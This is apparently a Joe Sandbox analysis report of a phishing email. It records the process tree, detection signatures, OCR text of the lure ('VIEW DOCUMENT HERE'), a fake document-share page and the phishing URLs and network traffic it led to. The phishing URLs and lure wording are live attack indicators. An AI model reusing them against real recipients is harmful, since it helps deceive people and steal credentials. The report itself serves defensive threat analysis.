Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
phish_alert_iocp_v1.4.48.eml

Overview

General Information

Sample name:phish_alert_iocp_v1.4.48.eml
Analysis ID:1397290
MD5:23b59a518bcbd70e8fe527fc6d2f16f1
SHA1:045a284b87bf643bf0b3202272e14822cd60f2b5
SHA256:cb015b45a3fd98c77210dfab6d0c911bfc9608c560ab37214532d957eb0e49e3
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Phishing site detected (based on OCR NLP Model)
Suspicious MSG / EML detected (based on various text indicators)
Creates files inside the system directory
HTML body with high number of embedded SVGs detected
HTML page contains hidden URLs or javascript code
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Stores files to the Windows start menu directory
Tries to load missing DLLs

Classification

Process Tree

  • System is w10x64_ra
  • OUTLOOK.EXE (PID: 6900 cmdline: C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\phish_alert_iocp_v1.4.48.eml MD5: 91A5292942864110ED734005B7E005C0)
    • ai.exe (PID: 3432 cmdline: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "69314BCF-4308-47AB-9823-276B4E3A102F" "EA14016E-4DA5-4843-BACA-85D6D079FF87" "6900" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx MD5: EC652BEDD90E089D9406AFED89A8A8BD)
    • chrome.exe (PID: 3992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 6504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1972,i,10197568263010185831,7380067851040920254,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 4040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 7352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,15457818366159465511,9887312695653696061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Office Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6900, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

barindex
Phishing site detected (based on OCR NLP Model)
Source: Chrome DOMML Model on OCR Text: Matched 81.8% probability on "Qoilcom Cloud x This share will be accessible until 02/22/2025. Document 01660.pdf Download About Terms & Conditions Privacy policy Licenses "
Suspicious MSG / EML detected (based on various text indicators)
Source: MSG / EMLOCR Text: [EXTERNAL EMAIL: Take caution with links and attachments. ] Good Day Please find attached documents and advice : VIEW DOCUMENT HERE Thanks, Travis McGee Smith Analytical 5318 FM 517 West Building A Alvin, Texas 77511 (281) 667-6463 htt s://clicktime.cloud. ostoffice.net/clicktime. h ?U=www.smithanal ical.com&E=tbirman 0 CBVVAt1272Xd 1 1 OO 1 E X 14fde2fff7cOcacfe5cb213432f8dcd532e58e4 SMITH ANALWICAL
Source: https://c.mail.com/@1330138059395571831/wNcKR19EQGCH-PAeqcF_hgHTTP Parser: Total embedded SVG size: 153251
Source: https://36r39.9squa0.com/486bg0t/HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...
Source: file:///C:/Users/user/Downloads/Document%2001660.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Document%2001660.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Document%2001660.pdfHTTP Parser: No favicon
Source: https://36r39.9squa0.com/486bg0t/HTTP Parser: No favicon
Source: unknownHTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownDNS traffic detected: queries for: clicktime.cloud.postoffice.net
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49688 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownHTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_BITS_3992_777123918
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: gpapi.dll
Source: classification engineClassification label: mal48.phis.winEML@41/39@42/233
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240222T2251000679-6900.etl
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile read: C:\Users\desktop.ini
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\phish_alert_iocp_v1.4.48.eml
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "69314BCF-4308-47AB-9823-276B4E3A102F" "EA14016E-4DA5-4843-BACA-85D6D079FF87" "6900" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1972,i,10197568263010185831,7380067851040920254,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,15457818366159465511,9887312695653696061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "69314BCF-4308-47AB-9823-276B4E3A102F" "EA14016E-4DA5-4843-BACA-85D6D079FF87" "6900" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1972,i,10197568263010185831,7380067851040920254,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,15457818366159465511,9887312695653696061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0968e258-16c7-4dba-aa86-462dd61e31a3}\InprocServer32
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEWindow found: window name: SysTabControl32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
